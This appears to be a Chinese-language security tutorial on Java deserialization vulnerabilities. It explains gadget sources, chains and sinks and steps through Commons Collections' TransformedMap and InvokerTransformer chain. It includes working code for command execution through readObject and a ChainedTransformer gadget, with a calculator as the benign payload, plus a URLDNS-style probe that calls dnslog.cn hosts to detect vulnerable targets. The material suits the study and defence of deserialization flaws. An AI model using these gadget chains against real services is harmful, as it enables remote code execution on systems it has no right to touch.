序列化:对象转成字符串 java.io.ObjectOutputStream writeObject(用来将一个对象写入输出流中)
反序列化:字符串转对象 java.io.ObjectInputStream readObject(恢复)
gadgets 类必须实现 Serializable/Externalizable 接口( Externalizable 也是实现了 Serializable 接口)
source点: “kick-off” gadget,在反序列化过程中或反序列化之后会执行;
sink点:结束时 “sink” gadget,执行任意的代码或者命令的类;
chain:中间是很多 chain gadget,能将开头的 “kick-off” gadget 和 “sink” gadget 连起来,形成 chain 形的调用(中间调用链)
反序列化前提:实现了 Serializable 接口、重写了 readObject 方法,比如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.example.springdemo.test ;
import java.io.IOException ;
import java.io.Serializable ;
public class Person implements Serializable {
private String name ;
private int age ;
public Person ( String name , int age ) {
this . name = name ;
this . age = age ;
}
private void readObject ( java . io . ObjectInputStream in ) throws ClassNotFoundException , IOException {
Runtime . getRuntime (). exec ( "open -a Calculator.app" );
}
}
反序列化就能执行命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.example.springdemo.test ;
import java.io.* ;
public class SerializableTest {
public static void main ( String [] args ) throws IOException , ClassNotFoundException {
Person person = new Person ( "zhangsan" , 24 );
ObjectOutputStream oos = new ObjectOutputStream ( new FileOutputStream ( "abc.txt" ));
oos . writeObject ( person );
oos . close ();
FileInputStream fis = new FileInputStream ( "abc.txt" );
ObjectInputStream ois = new ObjectInputStream ( fis );
ois . readObject ();
ois . close ();
}
}
为什么能执行命令,因为readObject最后是反射invoke执行对象
DNS 解析,探测是否存在反序列化漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.example.springdemo.test ;
import java.io.* ;
import java.net.URL ;
public class SerializableTest {
public static void main ( String [] args ) throws IOException , ClassNotFoundException {
URL url = new URL ( "http://cncr5q.dnslog.cn" );
URL url2 = new URL ( "http://tresd3.dnslog.cn" );
//url.equals(url2);
url . hashCode ();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.example.springdemo.test ;
import java.io.* ;
import java.lang.reflect.Field ;
import java.net.URL ;
import java.util.HashMap ;
public class SerializableTest {
public static void main ( String [] args ) throws IOException , ClassNotFoundException , NoSuchFieldException , IllegalAccessException {
HashMap < URL , Integer > hashMap = new HashMap < URL , Integer > (); //HashMap重写了readObject、接口Serializable
URL url = new URL ( "http://ykx1fk.dnslog.cn" );
Class c = Class . forName ( "java.net.URL" );
Field f = c . getDeclaredField ( "hashCode" );
f . setAccessible ( true );
f . set ( url , 123 );
hashMap . put ( url , 123 );
f . set ( url , - 1 );
ObjectOutputStream oos = new ObjectOutputStream ( new FileOutputStream ( "abc.txt" ));
oos . writeObject ( hashMap );
oos . close ();
FileInputStream fis = new FileInputStream ( "abc.txt" );
ObjectInputStream ois = new ObjectInputStream ( fis );
ois . readObject ();
ois . close ();
}
}
ObjectInputStream > readObject
HashMap 重写了 readObject,readObject实现sink点(执行hashCode)
内存 到 磁盘
抽象类 org.apache.commons.collections.map.AbstractMapDecorator,是 Map 的扩展,给Map提供附加功能(装饰器:动态给对象添加新功能而不改变其原有结构的设计模式),所有的操作都转发给这个 Map;实现类有很多(各个类触发的方式不同),重点关注 TransformedMap、LazyMap
org.apache.commons.collections.map.TransformedMap
当元素加入集合内时,自动对元素修饰变换(变换逻辑由 Transformer 来定义,Transformer 在 TransformedMap 实例化时作为参数传入)当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put
方法时),就会触发相应参数的 Transformer 的 transform()
方法。
img
org.apache.commons.collections.map.LazyMap,与 TransformedMap 类似
差异是调用 get()
方法时如果传入的 key 不存在,则会触发相应参数的 Transformer 的 transform()
方法。
org.apache.commons.collections.map.DefaultedMap,与 LazyMap 具有相同功能的,是同样是 get()
方法会触发 transform() 方法。
org.apache.commons.collections.Transformer接口,提供了transform()
方法(用来定义具体的转换逻辑),方法接收 Object 类型的 input,处理后将 Object 返回。3.2.1 中提供了 14 个 Transformer 的实现类(用来实现不同的对 TransformedMap 中 key/value 进行修改的功能)重点关注其中几个实现类InvokerTransformer、ChainedTransformer、ConstantTransformer
img
org.apache.commons.collections.functors.InvokerTransformer 从 3.0 引入,功能是使用反射创建一个新对象
org.apache.commons.collections.functors.ChainedTransformer
这个类自己维护了一个 Transformer 数组, 在调用 ChainedTransformer 的 transform 方法时,会循环数组,依次调用 Transformer 数组中每个 Transformer 的 transform 方法,并将结果传递给下一个 Transformer。
img
org.apache.commons.collections.functors.ConstantTransformer
返回固定常量的 Transformer,在初始化时储存了一个 Object,后续的调用时会直接返回这个 Object。
ConstantTransformer 和 ChainedTransformer 配合,将其结果传入 InvokerTransformer 来调用我们指定的类的指定方法。
如执行 Runtime.getRuntime().exec("open -a Calculator.app")
。按照需求对其进行拆分,这里使用 TransformedMap 触发,实例代码如下:
1
2
3
4
5
6
7
8
9
10
11
// 结合 ChainedTransformer
ChainedTransformer chain = new ChainedTransformer ( new Transformer [] {
new ConstantTransformer ( Runtime . class ),
new InvokerTransformer ( "getMethod" , new Class [] { String . class , Class [] . class }, new Object [] { "getRuntime" , null }),
new InvokerTransformer ( "invoke" , new Class [] { Object . class , Object [] . class }, new Object [] { null , null }),
new InvokerTransformer ( "exec" , new Class [] { String . class }, new Object [] { "open -a Calculator.app" })
});
Map map2 = TransformedMap . decorate ( hashMap , chain , null );
map2 . put ( 10 , "aaa" );
v1.5.0